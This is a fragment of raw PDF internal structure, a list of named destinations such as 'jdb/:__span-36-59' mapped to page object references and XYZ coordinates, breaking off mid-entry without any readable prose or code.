(jdb/:__span-36-59) [ 1356 0 R /XYZ 60.307257 529.817286 0 ] (jdb/:__span-36-6) [ 1354 0 R /XYZ 60.307257 552.118362 0 ] (jdb/:__span-36-60) [ 1356 0 R /XYZ 60.307257 516.416934 0 ] (jdb/:__span-36-61) [ 1356 0 R /XYZ 60.307257 503.016582 0 ] (jdb/:__span-36-62) [ 1356 0 R /XYZ 60.307257 489.616230 0 ] (jdb/:__span-36-63) [ 1356 0 R /XYZ 60.307257 476.215878 0 ] (jdb/:__span-36-64) [ 1356 0 R /XYZ 60.307257 462.815526 0 ] (jdb/:__span-36-65) [ 1356 0 R /XYZ 60.307257 449.415174 0 ] (jdb/:__span-36-66) [ 1356 0 R /XYZ 60.307257 436.014822 0 ] (jdb/:__span-36-67) [ 1356 0 R /XYZ 60.307257 422.614470 0 ] (jdb/:__span-36-68) [ 1356 0 R /XYZ 60.307257 409.214118 0 ] (jdb/:__span-36-69) [ 1356 0 R /XYZ 60.307257 395.813766 0 ] (jdb/:__span-36-7) [ 1354 0 R /XYZ 60.307257 538.718010 0 ] (jdb/:__span-36-70) [ 1356 0 R /XYZ 60.307257 382.413414 0 ] (jdb/:__span-36-71) [ 1356 0 R /XYZ 60.307257 369.013062 0 ] (jdb/:__span-36-72) [ 1356 0 R /XYZ 60.307257 355.612710 0 ] (jdb/:__span-36-73) [ 1356 0 R /XYZ 60.307257 342.212358 0 ] (jdb/:__span-36-74) [ 1356 0 R /XYZ 60.307257 328.812006 0 ] (jdb/:__span-36-75) [ 1356 0 R /XYZ 60.307257 315.411654 0 ] (jdb/:__span-36-76) [ 1356 0 R /XYZ 60.307257 302.011302 0 ] (jdb/:__span-36-77) [ 1356 0 R /XYZ 60.307257 288.610950 0 ] (jdb/:__span-36-78) [ 1356 0 R /XYZ 60.307257 275.210598 0 ] (jdb/:__span-36-79) [ 1356 0 R /XYZ 60.307257 261.810246 0 ] (jdb/:__span-36-8) [ 1354 0 R /XYZ 60.307257 525.317658 0 ] (jdb/:__span-36-80) [ 1356 0 R /XYZ 60.307257 248.409894 0 ] (jdb/:__span-36-81) [ 1356 0 R /XYZ 60.307257 235.009542 0 ] (jdb/:__span-36-82) [ 1356 0 R /XYZ 60.307257 221.609190 0 ] (jdb/:__span-36-83) [ 1356 0 R /XYZ 60.307257 208.208838 0 ] (jdb/:__span-36-84) [ 1356 0 R /XYZ 60.307257 194.808486 0 ] (jdb/:__span-36-85) [ 1356 0 R /XYZ 60.307257 181.408134 0 ] (jdb/:__span-36-86) [ 1356 0 R /XYZ 60.307257 168.007782 0 ] (jdb/:__span-36-87) [ 1356 0 R /XYZ 60.307257 154.607430 0 ] (jdb/:__span-36-88) [ 1356 0 R /XYZ 60.307257 141.207078 0 ] (jdb/:__span-36-89) [ 1356 0 R /XYZ 60.307257 127.806726 0 ] (jdb/:__span-36-9) [ 1354 0 R /XYZ 60.307257 511.917306 0 ] (jdb/:__span-37-1) [ 1358 0 R /XYZ 60.307257 658.532922 0 ] (jdb/:__span-37-10) [ 1358 0 R /XYZ 60.307257 537.929754 0 ] (jdb/:__span-37-11) [ 1358 0 R /XYZ 60.307257 524.529402 0 ] (jdb/:__span-37-12) [ 1358 0 R /XYZ 60.307257 511.129050 0 ] (jdb/:__span-37-13) [ 1358 0 R /XYZ 60.307257 497.728698 0 ] (jdb/:__span-37-14) [ 1358 0 R /XYZ 60.307257 484.328346 0 ] (jdb/:__span-37-15) [ 1358 0 R /XYZ 60.307257 470.927994 0 ] (jdb/:__span-37-16) [ 1358 0 R /XYZ 60.307257 457.527642 0 ] (jdb/:__span-37-17) [ 1358 0 R /XYZ 60.307257 444.127290 0 ] (jdb/:__span-37-18) [ 1358 0 R /XYZ 60.307257 430.726938 0 ] (jdb/:__span-37-19) [ 1358 0 R /XYZ 60.307257 417.326586 0 ] (jdb/:__span-37-2) [ 1358 0 R /XYZ 60.307257 645.132570 0 ] (jdb/:__span-37-20) [ 1358 0 R /XYZ 60.307257 403.926234 0 ] (jdb/:__span-37-21) [ 1358 0 R /XYZ 60.307257 390.525882 0 ] (jdb/:__span-37-22) [ 1358 0 R /XYZ 60.307257 377.125530 0 ] (jdb/:__span-37-23) [ 1358 0 R /XYZ 60.307257 363.725178 0 ] (jdb/:__span-37-24) [ 1358 0 R /XYZ 60.307257 350.324826 0 ] (jdb/:__span-37-25) [ 1358 0 R /XYZ 60.307257 336.924474 0 ] (jdb/:__span-37-26) [ 1358 0 R /XYZ 60.307257 323.524122 0 ] (jdb/:__span-37-27) [ 1358 0 R /XYZ 60.307257 310.123770 0 ] (jdb/:__span-37-28) [ 1358 0 R /XYZ 60.307257 296.723418 0 ] (jdb/:__span-37-29) [ 1358 0 R /XYZ 60.307257 283.323066 0 ] (jdb/:__span-37-3) [ 1358 0 R /XYZ 60.307257 631.732218 0 ] (jdb/:__span-37-30) [ 1358 0 R /XYZ 60.307257 269.922714 0 ] (jdb/:__span-37-31) [ 1358 0 R /XYZ 60.307257 256.522362 0 ] (jdb/:__span-37-32) [ 1358 0 R /XYZ 60.307257 243.122010 0 ] (jdb/:__span-37-33) [ 1358 0 R /XYZ 60.307257 229.721658 0 ] (jdb/:__span-37-34) [ 1358 0 R /XYZ 60.307257 216.321306 0 ] (jdb/:__span-37-35) [ 1358 0 R /XYZ 60.307257 202.920954 0 ] (jdb/:__span-37-36) [ 1358 0 R /XYZ 60.307257 189.520602 0 ] (jdb/:__span-37-37) [ 1358 0 R /XYZ 60.307257 176.120250 0 ] (jdb/:__span-37-38) [ 1358 0 R /XYZ 60.307257 162.719898 0 ] (jdb/:__span-37-39) [ 1358 0 R /XYZ 60.307257 149.319546 0 ] (jdb/:__span-37-4) [ 1358 0 R /XYZ 60.307257 618.331866 0 ] (jdb/:__span-37-40) [ 1358 0 R /XYZ 60.307257 135.919194 0 ] (jdb/:__span-37-41) [ 1358 0 R /XYZ 60.307257 122.518842 0 ] (jdb/:__span-37-42) [ 1358 0 R /XYZ 60.307257 109.118490 0 ] (jdb/:__span-37-43) [ 1358 0 R /XYZ 60.307257 95.718138 0 ] (jdb/:__span-37-44) [ 1360 0 R /XYZ 60.307257 771.023622 0 ] (jdb/:__span-37-45) [ 1360 0 R /XYZ 60.307257 757.623270 0 ] (jdb/:__span-37-46) [ 1360 0 R /XYZ 60.307257 744.222918 0 ] (jdb/:__span-37-47) [ 1360 0 R /XYZ 60.307257 730.822566 0 ] (jdb/:__span-37-48) [ 1360 0 R /XYZ 60.307257 717.422214 0 ] (jdb/:__span-37-49) [ 1360 0 R /XYZ 60.307257 704.021862 0 ] (jdb/:__span-37-5) [ 1358 0 R /XYZ 60.307257 604.931514 0 ] (jdb/:__span-37-50) [ 1360 0 R /XYZ 60.307257 690.621510 0 ] (jdb/:__span-37-51) [ 1360 0 R /XYZ 60.307257 677.221158 0 ] (jdb/:__span-37-52) [ 1360 0 R /XYZ 60.307257 663.820806 0 ] (jdb/:__span-37-53) [ 1360 0 R /XYZ 60.307257 650.420454 0 ] (jdb/:__span-37-54) [ 1360 0 R /XYZ 60.307257 637.020102 0 ] (jdb/:__span-37-55) [ 1360 0 R /XYZ 60.307257 623.619750 0 ] (jdb/:__span-37-56) [ 1360 0 R /XYZ 60.307257 610.219398 0 ] (jdb/:__span-37-57) [ 1360 0 R /XYZ 60.307257 596.819046 0 ] (jdb/:__span-37-58) [ 1360 0 R /XYZ 60.307257 583.418694 0 ] (jdb/:__span-37-59) [ 1360 0 R /XYZ 60.307257 570.018342 0 ] (jdb/:__span-37-6) [ 1358 0 R /XYZ 60.307257 591.531162 0 ] (jdb/:__span-37-60) [ 1360 0 R /XYZ 60.307257 556.617990 0 ] (jdb/:__span-37-61) [ 1360 0 R /XYZ 60.307257 543.217638 0 ] (jdb/:__span-37-62) [ 1360 0 R /XYZ 60.307257 529.817286 0 ] (jdb/:__span-37-63) [ 1360 0 R /XYZ 60.307257 516.416934 0 ] (jdb/:__span-37-64) [ 1360 0 R /XYZ 60.307257 503.016582 0 ] (jdb/:__span-37-65) [ 1360 0 R /XYZ 60.307257 489.616230 0 ] (jdb/:__span-37-66) [ 1360 0 R /XYZ 60.307257 476.215878 0 ] (jdb/:__span-37-67) [ 1360 0 R /XYZ 60.307257 462.815526 0 ] (jdb/:__span-37-68) [ 1360 0 R /XYZ 60.307257 449.415174 0 ] (jdb/:__span-37-69) [ 1360 0 R /XYZ 60.307257 436.014822 0 ] (jdb/:__span-37-7) [ 1358 0 R /XYZ 60.307257 578.130810 0 ] (jdb/:__span-37-70) [ 1360 0 R /XYZ 60.307257 422.614470 0 ] (jdb/:__span-37-71) [ 1360 0 R /XYZ 60.307257 409.214118 0 ] (jdb/:__span-37-72) [ 1360 0 R /XYZ 60.307257 395.813766 0 ] (jdb/:__span-37-73) [ 1360 0 R /XYZ 60.307257 382.413414 0 ] (jdb/:__span-37-74) [ 1360 0 R /XYZ 60.307257 369.013062 0 ] (jdb/:__span-37-75) [ 1360 0 R /XYZ 60.307257 355.612710 0 ] (jdb/:__span-37-76) [ 1360 0 R /XYZ 60.307257 342.212358 0 ] (jdb/:__span-37-77) [ 1360 0 R /XYZ 60.307257 328.812006 0 ] (jdb/:__span-37-78) [ 1360 0 R /XYZ 60.307257 315.411654 0 ] (jdb/:__span-37-79) [ 1360 0 R /XYZ 60.307257 302.011302 0 ] (jdb/:__span-37-8) [ 1358 0 R /XYZ 60.307257 564.730458 0 ] (jdb/:__span-37-80) [ 1360 0 R /XYZ 60.307257 288.610950 0 ] (jdb/:__span-37-81) [ 1360 0 R /XYZ 60.307257 275.210598 0 ] (jdb/:__span-37-9) [ 1358 0 R /XYZ 60.307257 551.330106 0 ] (jdb/:__span-38-1) [ 1362 0 R /XYZ 60.307257 174.624222 0 ] (jdb/:__span-38-10) [ 1364 0 R /XYZ 60.307257 717.422214 0 ] (jdb/:__span-38-11) [ 1364 0 R /XYZ 60.307257 704.021862 0 ] (jdb/:__span-38-12) [ 1364 0 R /XYZ 60.307257 690.621510 0 ] (jdb/:__span-38-13) [ 1364 0 R /XYZ 60.307257 677.221158 0 ] (jdb/:__span-38-14) [ 1364 0 R /XYZ 60.307257 650.420454 0 ] (jdb/:__span-38-15) [ 1364 0 R /XYZ 60.307257 637.020102 0 ] (jdb/:__span-38-16) [ 1364 0 R /XYZ 60.307257 623.619750 0 ] (jdb/:__span-38-17) [ 1364 0 R /XYZ 60.307257 596.819046 0 ] (jdb/:__span-38-18) [ 1364 0 R /XYZ 60.307257 583.418694 0 ] (jdb/:__span-38-19) [ 1364 0 R /XYZ 60.307257 570.018342 0 ] (jdb/:__span-38-2) [ 1362 0 R /XYZ 60.307257 161.223870 0 ] (jdb/:__span-38-20) [ 1364 0 R /XYZ 60.307257 543.217638 0 ] (jdb/:__span-38-21) [ 1364 0 R /XYZ 60.307257 529.817286 0 ] (jdb/:__span-38-22) [ 1364 0 R /XYZ 60.307257 516.416934 0 ] (jdb/:__span-38-23) [ 1364 0 R /XYZ 60.307257 503.016582 0 ] (jdb/:__span-38-24) [ 1364 0 R /XYZ 60.307257 489.616230 0 ] (jdb/:__span-38-25) [ 1364 0 R /XYZ 60.307257 476.215878 0 ] (jdb/:__span-38-26) [ 1364 0 R /XYZ 60.307257 449.415174 0 ] (jdb/:__span-38-27) [ 1364 0 R /XYZ 60.307257 436.014822 0 ] (jdb/:__span-38-28) [ 1364 0 R /XYZ 60.307257 422.614470 0 ] (jdb/:__span-38-29) [ 1364 0 R /XYZ 60.307257 395.813766 0 ] (jdb/:__span-38-3) [ 1362 0 R /XYZ 60.307257 147.823518 0 ] (jdb/:__span-38-30) [ 1364 0 R /XYZ 60.307257 382.413414 0 ] (jdb/:__span-38-31) [ 1364 0 R /XYZ 60.307257 369.013062 0 ] (jdb/:__span-38-32) [ 1364 0 R /XYZ 60.307257 342.212358 0 ] (jdb/:__span-38-33) [ 1364 0 R /XYZ 60.307257 328.812006 0 ] (jdb/:__span-38-34) [ 1364 0 R /XYZ 60.307257 315.411654 0 ] (jdb/:__span-38-35) [ 1364 0 R /XYZ 60.307257 302.011302 0 ] (jdb/:__span-38-36) [ 1364 0 R /XYZ 60.307257 275.210598 0 ] (jdb/:__span-38-37) [ 1364 0 R /XYZ 60.307257 261.810246 0 ] (jdb/:__span-38-38) [ 1364 0 R /XYZ 60.307257 248.409894 0 ] (jdb/:__span-38-4) [ 1362 0 R /XYZ 60.307257 134.423166 0 ] (jdb/:__span-38-5) [ 1362 0 R /XYZ 60.307257 121.022814 0 ] (jdb/:__span-38-6) [ 1362 0 R /XYZ 60.307257 94.222110 0 ] (jdb/:__span-38-7) [ 1364 0 R /XYZ 60.307257 771.023622 0 ] (jdb/:__span-38-8) [ 1364 0 R /XYZ 60.307257 744.222918 0 ] (jdb/:__span-38-9) [ 1364 0 R /XYZ 60.307257 730.822566 0 ] (jdb/:__span-4-1) [ 934 0 R /XYZ 60.307257 763.633722 0 ] (jdb/:__span-4-10) [ 934 0 R /XYZ 60.307257 643.030554 0 ] (jdb/:__span-4-11) [ 934 0 R /XYZ 60.307257 629.630202 0 ] (jdb/:__span-4-12) [ 934 0 R /XYZ 60.307257 602.829498 0 ] (jdb/:__span-4-13) [ 934 0 R /XYZ 60.307257 589.429146 0 ] (jdb/:__span-4-14) [ 934 0 R /XYZ 60.307257 576.028794 0 ] (jdb/:__span-4-15) [ 934 0 R /XYZ 60.307257 562.628442 0 ] (jdb/:__span-4-16) [ 934 0 R /XYZ 60.307257 549.228090 0 ] (jdb/:__span-4-17) [ 934 0 R /XYZ 60.307257 535.827738 0 ] (jdb/:__span-4-18) [ 934 0 R /XYZ 60.307257 522.427386 0 ] (jdb/:__span-4-19) [ 934 0 R /XYZ 60.307257 509.027034 0 ] (jdb/:__span-4-2) [ 934 0 R /XYZ 60.307257 750.233370 0 ] (jdb/:__span-4-20) [ 934 0 R /XYZ 60.307257 495.626682 0 ] (jdb/:__span-4-21) [ 934 0 R /XYZ 60.307257 482.226330 0 ] (jdb/:__span-4-22) [ 934 0 R /XYZ 60.307257 468.825978 0 ] (jdb/:__span-4-23) [ 934 0 R /XYZ 60.307257 455.425626 0 ] (jdb/:__span-4-3) [ 934 0 R /XYZ 60.307257 736.833018 0 ] (jdb/:__span-4-4) [ 934 0 R /XYZ 60.307257 723.432666 0 ] (jdb/:__span-4-5) [ 934 0 R /XYZ 60.307257 710.032314 0 ] (jdb/:__span-4-6) [ 934 0 R /XYZ 60.307257 696.631962 0 ] (jdb/:__span-4-7) [ 934 0 R /XYZ 60.307257 683.231610 0 ] (jdb/:__span-4-8) [ 934 0 R /XYZ 60.307257 669.831258 0 ] (jdb/:__span-4-9) [ 934 0 R /XYZ 60.307257 656.430906 0 ] (jdb/:__span-5-1) [ 986 0 R /XYZ 60.307257 763.633722 0 ] (jdb/:__span-5-10) [ 986 0 R /XYZ 60.307257 643.030554 0 ] (jdb/:__span-5-11) [ 986 0 R /XYZ 60.307257 629.630202 0 ] (jdb/:__span-5-12) [ 986 0 R /XYZ 60.307257 616.229850 0 ] (jdb/:__span-5-13) [ 986 0 R /XYZ 60.307257 602.829498 0 ] (jdb/:__span-5-14) [ 986 0 R /XYZ 60.307257 589.429146 0 ] (jdb/:__span-5-15) [ 986 0 R /XYZ 60.307257 576.028794 0 ] (jdb/:__span-5-16) [ 986 0 R /XYZ 60.307257 562.628442 0 ] (jdb/:__span-5-17) [ 986 0 R /XYZ 60.307257 535.827738 0 ] (jdb/:__span-5-18) [ 986 0 R /XYZ 60.307257 522.427386 0 ] (jdb/:__span-5-19) [ 986 0 R /XYZ 60.307257 509.027034 0 ] (jdb/:__span-5-2) [ 986 0 R /XYZ 60.307257 750.233370 0 ] (jdb/:__span-5-20) [ 986 0 R /XYZ 60.307257 495.626682 0 ] (jdb/:__span-5-21) [ 986 0 R /XYZ 60.307257 482.226330 0 ] (jdb/:__span-5-22) [ 986 0 R /XYZ 60.307257 468.825978 0 ] (jdb/:__span-5-23) [ 986 0 R /XYZ 60.307257 455.425626 0 ] (jdb/:__span-5-24) [ 986 0 R /XYZ 60.307257 442.025274 0 ] (jdb/:__span-5-25) [ 986 0 R /XYZ 60.307257 428.624922 0 ] (jdb/:__span-5-26) [ 986 0 R /XYZ 60.307257 415.224570 0 ] (jdb/:__span-5-27) [ 986 0 R /XYZ 60.307257 401.824218 0 ] (jdb/:__span-5-28) [ 986 0 R /XYZ 60.307257 388.423866 0 ] (jdb/:__span-5-29) [ 986 0 R /XYZ 60.307257 375.023514 0 ] (jdb/:__span-5-3) [ 986 0 R /XYZ 60.307257 736.833018 0 ] (jdb/:__span-5-30) [ 986 0 R /XYZ 60.307257 361.623162 0 ] (jdb/:__span-5-31) [ 986 0 R /XYZ 60.307257 348.222810 0 ] (jdb/:__span-5-32) [ 986 0 R /XYZ 60.307257 334.822458 0 ] (jdb/:__span-5-33) [ 986 0 R /XYZ 60.307257 321.422106 0 ] (jdb/:__span-5-34) [ 986 0 R /XYZ 60.307257 308.021754 0 ] (jdb/:__span-5-35) [ 986 0 R /XYZ 60.307257 294.621402 0 ] (jdb/:__span-5-36) [ 986 0 R /XYZ 60.307257 281.221050 0 ] (jdb/:__span-5-37) [ 986 0 R /XYZ 60.307257 267.820698 0 ] (jdb/:__span-5-38) [ 986 0 R /XYZ 60.307257 254.420346 0 ] (jdb/:__span-5-39) [ 986 0 R /XYZ 60.307257 241.019994 0 ] (jdb/:__span-5-4) [ 986 0 R /XYZ 60.307257 723.432666 0 ] (jdb/:__span-5-40) [ 986 0 R /XYZ 60.307257 227.619642 0 ] (jdb/:__span-5-41) [ 986 0 R /XYZ 60.307257 214.219290 0 ] (jdb/:__span-5-42) [ 986 0 R /XYZ 60.307257 200.818938 0 ] (jdb/:__span-5-43) [ 986 0 R /XYZ 60.307257 187.418586 0 ] (jdb/:__span-5-44) [ 986 0 R /XYZ 60.307257 174.018234 0 ] (jdb/:__span-5-45) [ 986 0 R /XYZ 60.307257 160.617882 0 ] (jdb/:__span-5-46) [ 986 0 R /XYZ 60.307257 147.217530 0 ] (jdb/:__span-5-47) [ 986 0 R /XYZ 60.307257 133.817178 0 ] (jdb/:__span-5-48) [ 986 0 R /XYZ 60.307257 120.416826 0 ] (jdb/:__span-5-49) [ 986 0 R /XYZ 60.307257 107.016474 0 ] (jdb/:__span-5-5) [ 986 0 R /XYZ 60.307257 710.032314 0 ] (jdb/:__span-5-50) [ 988 0 R /XYZ 60.307257 757.623270 0 ] (jdb/:__span-5-51) [ 988 0 R /XYZ 60.307257 744.222918 0 ] (jdb/:__span-5-52) [ 988 0 R /XYZ 60.307257 730.822566 0 ] (jdb/:__span-5-53) [ 988 0 R /XYZ 60.307257 717.422214 0 ] (jdb/:__span-5-54) [ 988 0 R /XYZ 60.307257 704.021862 0 ] (jdb/:__span-5-55) [ 988 0 R /XYZ 60.307257 690.621510 0 ] (jdb/:__span-5-56) [ 988 0 R /XYZ 60.307257 677.221158 0 ] (jdb/:__span-5-57) [ 988 0 R /XYZ 60.307257 663.820806 0 ] (jdb/:__span-5-58) [ 988 0 R /XYZ 60.307257 650.420454 0 ] (jdb/:__span-5-6) [ 986 0 R /XYZ 60.307257 696.631962 0 ] (jdb/:__span-5-7) [ 986 0 R /XYZ 60.307257 683.231610 0 ] (jdb/:__span-5-8) [ 986 0 R /XYZ 60.307257 669.831258 0 ] (jdb/:__span-5-9) [ 986 0 R /XYZ 60.307257 656.430906 0 ] (jdb/:__span-6-1) [ 988 0 R /XYZ 60.307257 466.465902 0 ] (jdb/:__span-6-10) [ 988 0 R /XYZ 60.307257 345.862734 0 ] (jdb/:__span-6-11) [ 988 0 R /XYZ 60.307257 332.462382 0 ] (jdb/:__span-6-12) [ 988 0 R /XYZ 60.307257 319.062030 0 ] (jdb/:__span-6-13) [ 988 0 R /XYZ 60.307257 305.661678 0 ] (jdb/:__span-6-14) [ 988 0 R /XYZ 60.307257 292.261326 0 ] (jdb/:__span-6-15) [ 988 0 R /XYZ 60.307257 278.860974 0 ] (jdb/:__span-6-16) [ 988 0 R /XYZ 60.307257 265.460622 0 ] (jdb/:__span-6-17) [ 988 0 R /XYZ 60.307257 252.060270 0 ] (jdb/:__span-6-18) [ 988 0 R /XYZ 60.307257 238.659918 0 ] (jdb/:__span-6-19) [ 988 0 R /XYZ 60.307257 225.259566 0 ] (jdb/:__span-6-2) [ 988 0 R /XYZ 60.307257 453.065550 0 ] (jdb/:__span-6-20) [ 988 0 R /XYZ 60.307257 211.859214 0 ] (jdb/:__span-6-21) [ 988 0 R /XYZ 60.307257 198.458862 0 ] (jdb/:__span-6-22) [ 988 0 R /XYZ 60.307257 185.058510 0 ] (jdb/:__span-6-23) [ 988 0 R /XYZ 60.307257 171.658158 0 ] (jdb/:__span-6-24) [ 988 0 R /XYZ 60.307257 144.857454 0 ] (jdb/:__span-6-25) [ 988 0 R /XYZ 60.307257 131.457102 0 ] (jdb/:__span-6-26) [ 988 0 R /XYZ 60.307257 118.056750 0 ] (jdb/:__span-6-27) [ 988 0 R /XYZ 60.307257 104.656398 0 ] (jdb/:__span-6-28) [ 988 0 R /XYZ 60.307257 91.256046 0 ] (jdb/:__span-6-29) [ 990 0 R /XYZ 60.307257 771.023622 0 ] (jdb/:__span-6-3) [ 988 0 R /XYZ 60.307257 439.665198 0 ] (jdb/:__span-6-30) [ 990 0 R /XYZ 60.307257 757.623270 0 ] (jdb/:__span-6-31) [ 990 0 R /XYZ 60.307257 744.222918 0 ] (jdb/:__span-6-32) [ 990 0 R /XYZ 60.307257 730.822566 0 ] (jdb/:__span-6-33) [ 990 0 R /XYZ 60.307257 717.422214 0 ] (jdb/:__span-6-34) [ 990 0 R /XYZ 60.307257 704.021862 0 ] (jdb/:__span-6-35) [ 990 0 R /XYZ 60.307257 677.221158 0 ] (jdb/:__span-6-36) [ 990 0 R /XYZ 60.307257 663.820806 0 ] (jdb/:__span-6-37) [ 990 0 R /XYZ 60.307257 650.420454 0 ] (jdb/:__span-6-4) [ 988 0 R /XYZ 60.307257 426.264846 0 ] (jdb/:__span-6-5) [ 988 0 R /XYZ 60.307257 412.864494 0 ] (jdb/:__span-6-6) [ 988 0 R /XYZ 60.307257 399.464142 0 ] (jdb/:__span-6-7) [ 988 0 R /XYZ 60.307257 386.063790 0 ] (jdb/:__span-6-8) [ 988 0 R /XYZ 60.307257 372.663438 0 ] (jdb/:__span-6-9) [ 988 0 R /XYZ 60.307257 359.263086 0 ] (jdb/:__span-7-1) [ 1012 0 R /XYZ 60.307257 374.523743 0 ] (jdb/:__span-7-10) [ 1012 0 R /XYZ 60.307257 240.520223 0 ] (jdb/:__span-7-11) [ 1012 0 R /XYZ 60.307257 227.119871 0 ] (jdb/:__span-7-12) [ 1012 0 R /XYZ 60.307257 213.719519 0 ] (jdb/:__span-7-13) [ 1012 0 R /XYZ 60.307257 200.319167 0 ] (jdb/:__span-7-14) [ 1012 0 R /XYZ 60.307257 186.918815 0 ] (jdb/:__span-7-15) [ 1012 0 R /XYZ 60.307257 173.518463 0 ] (jdb/:__span-7-16) [ 1012 0 R /XYZ 60.307257 160.118111 0 ] (jdb/:__span-7-17) [ 1012 0 R /XYZ 60.307257 146.717759 0 ] (jdb/:__span-7-18) [ 1012 0 R /XYZ 60.307257 119.917055 0 ] (jdb/:__span-7-19) [ 1012 0 R /XYZ 60.307257 106.516703 0 ] (jdb/:__span-7-2) [ 1012 0 R /XYZ 60.307257 361.123391 0 ] (jdb/:__span-7-20) [ 1012 0 R /XYZ 60.307257 93.116351 0 ] (jdb/:__span-7-21) [ 1019 0 R /XYZ 60.307257 771.023622 0 ] (jdb/:__span-7-22) [ 1019 0 R /XYZ 60.307257 757.623270 0 ] (jdb/:__span-7-23) [ 1019 0 R /XYZ 60.307257 730.822566 0 ] (jdb/:__span-7-24) [ 1019 0 R /XYZ 60.307257 717.422214 0 ] (jdb/:__span-7-25) [ 1019 0 R /XYZ 60.307257 704.021862 0 ] (jdb/:__span-7-26) [ 1019 0 R /XYZ 60.307257 677.221158 0 ] (jdb/:__span-7-27) [ 1019 0 R /XYZ 60.307257 663.820806 0 ] (jdb/:__span-7-28) [ 1019 0 R /XYZ 60.307257 637.020102 0 ] (jdb/:__span-7-29) [ 1019 0 R /XYZ 60.307257 610.219398 0 ] (jdb/:__span-7-3) [ 1012 0 R /XYZ 60.307257 347.723039 0 ] (jdb/:__span-7-30) [ 1019 0 R /XYZ 60.307257 596.819046 0 ] (jdb/:__span-7-31) [ 1019 0 R /XYZ 60.307257 583.418694 0 ] (jdb/:__span-7-32) [ 1019 0 R /XYZ 60.307257 570.018342 0 ] (jdb/:__span-7-33) [ 1019 0 R /XYZ 60.307257 543.217638 0 ] (jdb/:__span-7-34) [ 1019 0 R /XYZ 60.307257 529.817286 0 ] (jdb/:__span-7-35) [ 1019 0 R /XYZ 60.307257 516.416934 0 ] (jdb/:__span-7-36) [ 1019 0 R /XYZ 60.307257 503.016582 0 ] (jdb/:__span-7-37) [ 1019 0 R /XYZ 60.307257 489.616230 0 ] (jdb/:__span-7-38) [ 1019 0 R /XYZ 60.307257 476.215878 0 ] (jdb/:__span-7-39) [ 1019 0 R /XYZ 60.307257 462.815526 0 ] (jdb/:__span-7-4) [ 1012 0 R /XYZ 60.307257 334.322687 0 ] (jdb/:__span-7-40) [ 1019 0 R /XYZ 60.307257 449.415174 0 ] (jdb/:__span-7-41) [ 1019 0 R /XYZ 60.307257 422.614470 0 ] (jdb/:__span-7-42) [ 1019 0 R /XYZ 60.307257 409.214118 0 ] (jdb/:__span-7-43) [ 1019 0 R /XYZ 60.307257 395.813766 0 ] (jdb/:__span-7-44) [ 1019 0 R /XYZ 60.307257 382.413414 0 ] (jdb/:__span-7-45) [ 1019 0 R /XYZ 60.307257 369.013062 0 ] (jdb/:__span-7-46) [ 1019 0 R /XYZ 60.307257 355.612710 0 ] (jdb/:__span-7-47) [ 1019 0 R /XYZ 60.307257 342.212358 0 ] (jdb/:__span-7-48) [ 1019 0 R /XYZ 60.307257 328.812006 0 ] (jdb/:__span-7-49) [ 1019 0 R /XYZ 60.307257 315.411654 0 ] (jdb/:__span-7-5) [ 1012 0 R /XYZ 60.307257 320.922335 0 ] (jdb/:__span-7-50) [ 1019 0 R /XYZ 60.307257 288.610950 0 ] (jdb/:__span-7-51) [ 1019 0 R /XYZ 60.307257 261.810246 0 ] (jdb/:__span-7-52) [ 1019 0 R /XYZ 60.307257 248.409894 0 ] (jdb/:__span-7-53) [ 1019 0 R /XYZ 60.307257 235.009542 0 ] (jdb/:__span-7-54) [ 1019 0 R /XYZ 60.307257 221.609190 0 ] (jdb/:__span-7-55) [ 1019 0 R /XYZ 60.307257 208.208838 0 ] (jdb/:__span-7-6) [ 1012 0 R /XYZ 60.307257 307.521983 0 ] (jdb/:__span-7-7) [ 1012 0 R /XYZ 60.307257 280.721279 0 ] (jdb/:__span-7-8) [ 1012 0 R /XYZ 60.307257 267.320927 0 ] (jdb/:__span-7-9) [ 1012 0 R /XYZ 60.307257 253.920575 0 ] (jdb/:__span-8-1) [ 1045 0 R /XYZ 60.307257 178.281829 0 ] (jdb/:__span-8-10) [ 1050 0 R /XYZ 60.307257 757.623270 0 ] (jdb/:__span-8-11) [ 1050 0 R /XYZ 60.307257 744.222918 0 ] (jdb/:__span-8-12) [ 1050 0 R /XYZ 60.307257 730.822566 0 ] (jdb/:__span-8-13) [ 1050 0 R /XYZ 60.307257 717.422214 0 ] (jdb/:__span-8-14) [ 1050 0 R /XYZ 60.307257 704.021862 0 ] (jdb/:__span-8-15) [ 1050 0 R /XYZ 60.307257 690.621510 0 ] (jdb/:__span-8-16) [ 1050 0 R /XYZ 60.307257 677.221158 0 ] (jdb/:__span-8-17) [ 1050 0 R /XYZ 60.307257 663.820806 0 ] (jdb/:__span-8-18) [ 1050 0 R /XYZ 60.307257 650.420454 0 ] (jdb/:__span-8-19) [ 1050 0 R /XYZ 60.307257 637.020102 0 ] (jdb/:__span-8-2) [ 1045 0 R /XYZ 60.307257 164.881477 0 ] (jdb/:__span-8-20) [ 1050 0 R /XYZ 60.307257 623.619750 0 ] (jdb/:__span-8-21) [ 1050 0 R /XYZ 60.307257 610.219398 0 ] (jdb/:__span-8-22) [ 1050 0 R /XYZ 60.307257 596.819046 0 ] (jdb/:__span-8-23) [ 1050 0 R /XYZ 60.307257 583.418694 0 ] (jdb/:__span-8-24) [ 1050 0 R /XYZ 60.307257 570.018342 0 ] (jdb/:__span-8-25) [ 1050 0 R /XYZ 60.307257 556.617990 0 ] (jdb/:__span-8-26) [ 1050 0 R /XYZ 60.307257 543.217638 0 ] (jdb/:__span-8-27) [ 1050 0 R /XYZ 60.307257 529.817286 0 ] (jdb/:__span-8-28) [ 1050 0 R /XYZ 60.307257 516.416934 0 ] (jdb/:__span-8-29) [ 1050 0 R /XYZ 60.307257 503.016582 0 ] (jdb/:__span-8-3) [ 1045 0 R /XYZ 60.307257 151.481125 0 ] (jdb/:__span-8-4) [ 1045 0 R /XYZ 60.307257 138.080773 0 ] (jdb/:__span-8-5) [ 1045 0 R /XYZ 60.307257 124.680421 0 ] (jdb/:__span-8-6) [ 1045 0 R /XYZ 60.307257 111.280069 0 ] (jdb/:__span-8-7) [ 1045 0 R /XYZ 60.307257 97.879717 0 ] (jdb/:__span-8-8) [ 1045 0 R /XYZ 60.307257 84.479365 0 ] (jdb/:__span-8-9) [ 1050 0 R /XYZ 60.307257 771.023622 0 ] (jdb/:__span-9-1) [ 1057 0 R /XYZ 60.307257 763.633722 0 ] (jdb/:__span-9-10) [ 1057 0 R /XYZ 60.307257 643.030554 0 ] (jdb/:__span-9-11) [ 1057 0 R /XYZ 60.307257 629.630202 0 ] (jdb/:__span-9-12) [ 1057 0 R /XYZ 60.307257 616.229850 0 